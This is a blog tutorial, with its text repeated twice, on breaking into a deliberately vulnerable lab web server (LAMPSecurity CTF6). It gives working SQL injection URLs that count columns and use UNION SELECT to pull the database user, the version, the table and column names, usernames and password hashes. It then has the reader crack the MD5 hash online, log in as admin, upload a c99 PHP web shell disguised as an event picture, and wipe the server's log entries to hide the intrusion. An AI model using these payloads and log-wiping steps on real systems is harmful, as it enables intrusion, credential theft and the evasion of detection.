Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u5arfuWhDw2eyKmHn8qmSnyVV-uZIZyAPULCJ3UndzvS1wpA1XlJaWKvVc8ffEjqNarzF3_MQc6Unq0HsfZqFdjxkxV3DYJBHtIiyUIwRc7S01BAGMEgBEToHQkdpSyFVxMFkPfC5PaJ8Nmpnoh1CDJTQ3fxIMnFBge9QcPs5vtK51=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMHcKpDjcznfpQKUe4_dUFy4yWRVdmnDEG5Z1QpV5gn3IMzx8PFOaNRbJIhGGOVLAeO9qN6G1ESqgdDB-34hz6zY0qse3a8PLHDHKD2uQfMJs-O_YM_kNZDPhsBlMLpfxCHK3IV7QSAzxr1DiwwROejzCK9NEC8EZo19GAdbhHG7NXmA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sn-b0C8bDoIGwz_6mLaQzbxfqxZHBBy0I9qXugXaKq1eUYV6nMu-_uF4kkzQHI1MSwIWvjDt4DmGWB_elyxl9b6Mrks5v8GcLj7yTVFu0sDMOhiHUivQUCn_AOYom6Gmrk8pqY4MsXClwnmkvm3GIGgZrQm6ddY57st01ktRVk0yVWEw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vcR0kxYkoiyUL6P0p02C5MJVbWTDORnU18zjqusQGw_pdXV9vzxQH5nBoolI53g716pNM8CikpBgpf7tLGxIUo_XYeY5vl8ESXV8DOKsoP-y1PfIYttsJIqkyqjYuI0TmD5l_Kyws9xshnqzIMTLtHlUrHV5R-_xnvg5y8Ti9pr-nx-g=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZ8a0blua09wWpJpI9ppz987S40wXTB9OHyafhKYBGCoxb4N_VhKZ9PK1FJTf9UQHLPXpHsPof64qyMTc-8R8TI9HjSFIYRfC2PFk010O-BMpwC2s0vyOZTPpFg1kW75KHw9Sutz4mF28Bg5ZlG2gXLvbvguqlHN9twaB__jVg9FocTA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sK6hvddJidUyeoUK0HNitN_tCBzM9hYyCKgSw_yzTrIzoVjzWf-zkGdCyD3ulfLCOj3vHz862oVC83MrBjdc7vhpVJEvNi01CLrWQLPcehi948LJAHrxnUBgRrZGcjenjS_yqo5UVhoAUIe8-BhzjXWwNhRjpeUVADAtHIMQ57dp36=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNf3Wr7Hn_2ixfyW5yk9QJ2NlGFNx36kQOdc34pF_M_Qk2R9F9hjD67fyi_niCpEWRZ2diCpGQ6oqqmTwmrn7ikbUDQlptMIYlq1sqcDU4IiIgtkSsDhznkit_f6tUZcBbWEjWg1NlEaiaACdtIMy1sguMNp4HQmGyQ0K9MKXsMVHQvvI=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uepTFB7LhwiVZl-2ZT40WaPxsdmF0GtBNbLAxLYyHsIWu2WHc5W_8AZ62Kvlu85hV9F3mcvFOf2MTYRwWjBcvg-z8mzlDba0hoCxI-Fl1AftKf0O3sx0TcHhA_PbEx8tixlNCjM3EvzTYmOMrraIUlA1Cy3RxUtGB3GajIjlWzpM0fk0o=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vS63gKfbuGr0yQ-F9Ai_7-fiv7I_bOwkfE3-bof_52icQF4d2QY6x42IMgSbKTf3zFypLj3eNGFDZw6LJhyTOWE9BIhRgCC1XqwB2f4UFYsDZobSnx6cfvjDWgqxkpZdQ_-74CzeH6ubh0EzzxJHRCQOUqsMRoXAdnMq4AfiSL8vT_W-A=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttcEEQ-FY1NSzNJEkqqxAA1Q4hxPqhT5OtIlY0rs5nVqekMHcV7xy8UENudxTs8FRk2m-lVdS0UNDps0VbUgcYsSIUNCUICvKu9C7rKBD52MXfLcwccWzfDkGIFCny_9DwWuAK5SdOj2WtDj6iUSi6-bbNcSVuMmsRJiC_j5I1lOrHoeE=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uVDHImLKB4FpQQ_Juv0ugkF2oUIzfinNNlbxTfL296hFHak6wesh6wRmX0dscwwUJvEXZ2MgEqDLZthYRObvjc-ekAohoCCvroeAfDqrNfW6N5f729dY667YKtLH79YK2bD497ZYdJbY9icSAjoePk-OCP8ZAPHgKYcKvWCNiadMxQZg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBz2WuE0cSdEhwOoNSEKKoekg7QIIOThEYJiLk451gGU7eug0BrSpc4b18IaKcicgqFhq_BSxNy9m5xGsodI9R_8c8dIBzs5soCkikqstgHg1FYxJHUcDTjswT-j0qgIlRzRtB2gCa8WJgouvmvEenbD_UP78uCJrMbKEVFuDD9yskiJk=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4Y25FRlIWjPD6Z523gzBqV0Q_d0ur9CztlWQ6Agqe4xj1GKzhVkMU0IpiKN0k7coHKNgUx6BnqDcBNHKSzyJMdRLQVodRe3wDcVPepfeEoGcWAgX1A3HqrqLdVW2ZdGLVy0dDcnddlcKjK2diPjduXco53xb9o2aL3J4-u1u5U6fcWPo=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sdRieTJu5EkXGJXV4VcuCTDHBf2O6PkKvjvQ4E3EjxpYnhhWj6YT2-yZiIP9hyZMkRI6qhzFLK-dw9L8M8INB8BvuRgX3IIS4awiAUavWd6J2Nf0oL7wVd02KApFL-v6LOkjTD7JGw9WQAh3eUnyV0Sb2qQnu86F6ghS69A4ZIXvbH1g=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBn3vpq5nJu2ugTZvx7_5N2MQ7kv4hKJR5UFj_G1wTWsStLcrPvph8UJ0GUBOQlfp7O3P7IdOtaVu-9PF6Irje1mrHmue8X6qVsI6x8DNUin7L6sG0whCe30aQ_oJI8L31QHCZVI3EML12WVceMXUva4oKNe3IRRTFOKWSU1qIunMxcQ=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOuVNlSLawuCKKWd2NDHUbY-Ntf9YxG7UGg6hkvc5OLDpRttF0y0JpIy2z3zfl043zan02ilh5vmaLevYbOM3PU7VOaHUFoebjvYprvXDhAI-PLFMBJGTI8x9bvBPaeYDKpqTfejJE1Iy-PK_IMPhW_LUfmxZvYMMmX37IKmo39TMH2fU=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIc72Nm0hyNauINY1at0DfD3C0gAlIRnQSY3bVgUu-BEsZqjLTCFRyeFuBWzxmKSRaTa_ML5QlIFs66QKRFXguVyO-XiYwnaUZwY21aGtM7DQkRMgtKU1DpAOgnMdMl25V3wMDPbZ9hJmeHHX1gGig0zlPVoBwiVtus_vXneMkcMP8-AE=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syL60bkXNHyx80CEjegK62wVf8bZgDW4kiUAdQztcGRntwlaj_UXzvWWhnlX7uoO8DboecSMCXmxE8oZQAoVdlyX3pmKaJMxOUjVSlg5yupqMxabY46xIWOjL2rAUhpHXVFVGpg2Re9tQNre9IYYQNlY8DTs46PyjZE2h21-VTlXBKYko=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIXkNcSyiekEkmaftAjwBBu9Hv_W-IZPSAft-X7Mu7IHoUS5fTFGstLyKIcdg3O2fFdkwrsAzxMnPkE16ceIcQ659LCwsUP2EfkiZN9LgBFLc3Hh1WY7VZ-i2Fko5dR0VptdAMA2-jvZgbZWXXLtqlvSWR2K6TrFVoa7SDjDKBU6UTmZc=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skfFGGdTkzE_3dISGFyHrkucvOuTJWbZrSl8VulDOb01XqU_klQTHfDkP-iP5sIHNVHeL4xWSWgDv4uw5hrGJugjqPQzXD6_OQjDHUOI7iQCH4ktt-d9IEaUgRUeM-Z289LHXWef4mvFdfdkNeYRgXHHbINLpViTXfaCGSAHTmuPdD6ac=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sKBeMNRK_l3z5XV5IxD75eXj8EyZ_Pj9rpmhYH_fZN4SsT79NBX4So6w4--2f84-B3rT6td844b9xbQzFrt9zLCGrF2ZYPCvNhh36KVbLg0MnzfeGuRhJUSylasryIno8JmTBSrHubwgPbVXE31pLdWGd5v9wuPolbwurwtxQkWPKdb2o=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufBIkYhJyFv3iAUQsZMnWd-8QMnpkhXgPvCq7M3Nn85BbCav2Fvyd9vxNsUK93PpPQ7WNwuuC8Gi3wWTbdEp0zhKCysOejTQ67FhLlleBIFTbRtKAdkhZP2tL9minhfTHF4QMRIUxE3mOyXn8f0z2SdFLWmjlXJtqmOsXMLq_6m7hYNYM=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzP4HoeU532tmN-NnrYi5u4OBYoBhakZlY0ApZQtEXoSE0wK5o8NRlXZ7VPaZQU-ccLPGwoxXOWi5DsweUN8sWu_NiEQRdOH_ikUC6WAtVE3uAHoMM9A2VnVp4uUEfXX8IpoYBX512zAc6Enk3gI4CAG1W9I4yfV1ZqU7m4zGQbcj7JFY=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vYxy5tiQrOvnmUhYqiPqX02aNvU6Q0Y5u9N1dvSRyraPa1zzK6Vfzk_5AoRlOSR-MjPN9_cUudfTeOPxEl8QNDyIWdreWZjxZqSQ7vTB0mVNC-89eBZNsGjXYwcPWVOJfIvfjA5UZ_t_90909vEWD3kbz_sO9Q_mQ2rXKRr2fUtd3r3J4=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s60Y2F-D5vdXURDRO0YQwRngjmmczANFdyyQ13s-3siZuOHljpG1V_VA5zb3tev_iDWY2CIUNHagyqT_BtM2xWiUaG0ZaoKMEiPT-1_4XXj09EVWyOyCYNT2nUp1fkCwQCeeqXT_GIqImDDy3_rafRasA0GX6tTqE2pDyXmvGTvYw3Yw=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uDOdVz6nHQEwKMnaU8yQzDpDoG8DYwRQ4eVmrChzosC3yk7C838_nPEvPK_oCMEQetsB2ywwW1sO_PcmDR4TTFT_-LLoANYawfsgBRNQU88WohU4QVXTclUSgF4qkWeOalD1hbwG13EzfzSo9y0b0XBGpUqQnUl_ztYGV3dCvE5MWG7g=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2fsdph6NcVo1jn8b4qJdWAEulgdAxEvJw967tBDYybKQXQ_2TpnowdBC6BROgn_iOqGVuXDQyDj36kHnT6s6bo9PBlfYbUN8GGhApTsRyNuSO2GUAUgOWfQxBOfr5ANcl3GVBPWc-8nv5eUwjWdoDhFyBv4uv50kTPpL9Rs36iIew37o=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vgFHwo76D1FlE-A8G3FdX-wsXTEUIxoowLI-C1uvkM5efpt3iPAkzBv4xCnTWlv8zhSzM_yhq0z1wYil333f-n_qGGiUjObKOsUTYsthpe5acCJcQUNA66aQDmEieyM_Mvv8uL_uPnae_gK4GgR4bCCw0cDiPNqzGMjRsXduyoAS5L9xc=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_siGEtn6cJvEPL_DmAL1UWECGmfHsNN7gzlvnxnvlsrzO1nNixFtYempyuw8ODbKpGEKZxQrYnpUpFTz4wmunxuDEVJOzNRPmLgu-rs-FCudljGhrOMS7OY6UOFLgGsKlI4X5_KU_D34mw9veiHYoCluZMqFTo_hsgcoes9pVi_hIA5aw=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sevzcedB1BgdLsgquPkWpC-lpRcV_aTfHtaHbUtw60mOaJQjjtdK-VelwjF0vyWx2x0M-c-seZKCHBRWf3Acll_JQDZvQNcHhEF-XZSCdiQJh8hk7KAeWUzo4GaFv5lsY6eN83CRxrqr6bSfSm6cBTBJPUvGZ4aNWy-FCVJErbl_3htD0=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vq6zO7EWGYyLlZyQHg7HH3r6cai_Oo31exPpuT0RA6k8JgUhtiJLrbIim9BVMSAOfP1nTxkbQyBgjuCwLVqyQIlgcm_L_VZZi4gXksqa_YAM6x9my6PIN2cxXP7vNfExbMxCUj6iJE_I7tHx8BtcEZeVusPILc05RQRUTJi2uf1vMAdV0=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjWfcgJ_jpdlD1gp7BDgvjEBTUqb5McleRzDAELcDyZo6U3kLuLcbphzq145XTSFm9hvk62bgYTyWPtqrrYCvLQaqzVHj2l0nWdCTjoQyIRYzLxpWOjIuWvbganbLhnoN8uGaV2NCwN7viXk22XNpF7c_IgEAcsKfOxLFV7R6tevo1C04=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skmnGG_z4PuOXCRSpHdhCYgRGYL0GYl8cqPHvQKixwFv1oO-XSZL7cCT762EwpnGEexzgNtR2uGrJcPo4Arj4gU3JuK0M7ysD9gkUisS0fn0WjHXos9Ymrr9bRq6XQLI4Jntf9XDZD9o5rqIIKj_38vZf6-eE55bjxEDeJT_tlwqDuTK4=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_us2t8GofrVPRRwyBA3IZuwY81upn94jtfbU_JAPAusrmwrYy7Wzl_1YYPPrfakw1DRmYEULuBgqHsX_rA9h7UHEunHNoMkYVQYdailjT2ZGXUM0s2O7Dd-EkZ31yKWn57wDaojsOZp-14cCiuEMJ1wgjkz8BFqpKBtPQFO4ZRkXdcR9Tw=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uTQVw6qa3IUb0NhlTzQqT1arU44m_loUIJSPZv6iv7OYA3FbX64GCMZ2DrwAuy9UDhDK0CaymR4rgphc0VgFJEhoJANrHX1YFZW-5fvwoZLsOPEaj7AO6VVAtQrq1Qd92ZlSpvVndT0wFDNhpPkalWkMtjxbhv5cnY1qzerdL7Krg_CN0=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uw621xC6K7CouFYYjtxT9JjUq3LSP3vpQNlFvbcCdNg6I7zXed0hyKheTuZp9RrRC_b81s2RO2B-11DoHOwFuwkcX4xxCRqj967RmOUqDjxle-LmK8bGCyL96I36O9UZfGJYZtmoE1UYzDv-PQ68fEg1nwYkCW4xlEN2DLyyuQHwzgKps=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sIKOXibh3Pb7EMCfhWB0pObJCyTeZbq8rV5ppEj8HZATUoYCYeas0tyG1JHkWh-IP5yE-r4MU6Q4OH_t7cmYDZf9aSiP6WaK3zSunbn49_k3zO9NP4yHbZAajuEgqHlpcA8V599R8RL7Hllz5A41U3hhvCeOzdtXJyY0nYAfAOT5BIDw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v7OnpDxhZXGsR10BZyGjcyUDniPp54dVSjJep1PPeGc_vcMK8SS68I1g5aR-m0mHxbJYwcJsS0TvfdKAVKoWpS-elxCfqrBa541dtAHiM4po1TBV2YzaIZd6OVql0w5Y1tegt9mXTTkNy6AYgoG86bZqpMtvd3eZUf9z_9-M0L20365iE=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFzB12zLRO4koRL_4RIubinJduB58CNx8K_hEG4DAfpk3iJqMM1jC3VrDIEjJdZRNipGhHidopIC98G1K4jiO8Rn0c7gqdrbMeQ1HamIKBCJGjt1QQt696X9MR-1YCHl_OmIkhrfYttoHEvdjZk4ihSlGJqq0LSZ77rGsmRyblYEtT1A=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_so4ToSY6K5TKrgB0PRtRpx7ovsg870HBKfTBtg7erZ4ffPJzzA9xBKV0AVqQ_d91ML96m-itWWn2G1ZOCS-jShHG7IuMTtffJXvU7tLyFfHSEezjAAajFi1FgI7kEiyU3bkT65im7YF0XTGgd5B_X0E5Z72OxZ_NupIIz5A8GJcxulmt8=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEq6mDiMNh_AehEPFH3wYfgFGRZQa2s4WMimS5i2laT1u9EWLQn4NYJJLFTm_lH43hcbGwj7wPmkRrDQLHnuaGRkIDcbAGod4f2wLdk5VAnP8kyvaZJWAqu8ZhauKATIc4ixgI4CeRiEC78sjJbH7MP4cpxBnZl152kuTYZ0DhaivL8_I=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v27tL8uDVcjNWKAb9PHETuiRF0O4fhlCMXizMaaDSITJUCIPaMssB21Tm-OpICccCQ7qhnC2ObuwwmLfprjlwajp-NrbZUXD8POlqm3fbkvmc5xDYzLxiJG1TFRDp0pH9RG5ojA09-6MWpu0bpPF9HNdkJZxW0c1KzZFAnbnh_pI9S-AI=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tYPuq0OCwh4_qfkJUff33ZSwjqbb4vsPkK4aa7s78O1OteDzIFLtGRyFm7Gax2ItlWlAbQyjasZWSsMwGHk88enA-BVpV6Ml1OvJuXtVBKa4LwW5KtYBAbp-3wjZm-eZZ180bWJNFUyrMZS2r5lik2YrpzlJxYX8fLggTtQMMdqIrbTFs=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vYYURFCSBjrNlRnQNzFrJyPTqMH3K7jZO8bH-AUo8K1QSgXOqUBzhir2tOzVa5UghP36bwPCLBbqA_4iR7hJjyce2TOnwJ_LGmpMYsyzFiDz-9egqQhlTFNxg95uxgBQvlhn2K7-lsa2LvgfUqS98lUs4AqZXUVIq40DYtQzFK60t4RQ=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uwU101XX4je_PTvcZdSkv21YvHlWlieUIjSvaWbO4CuqfZh9Edi5tbkVj8aC5-x6_SjBiBaUwLInj0WHR1O87jEeyCQSEGWNnoycq4mJxg9S_ePvHI1Fp6ot6HHdnYlXBpkx43ZMMkuKWFvOCM_9I-WOXizM3Aj8vctbVefkJd_zLyp2Y=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete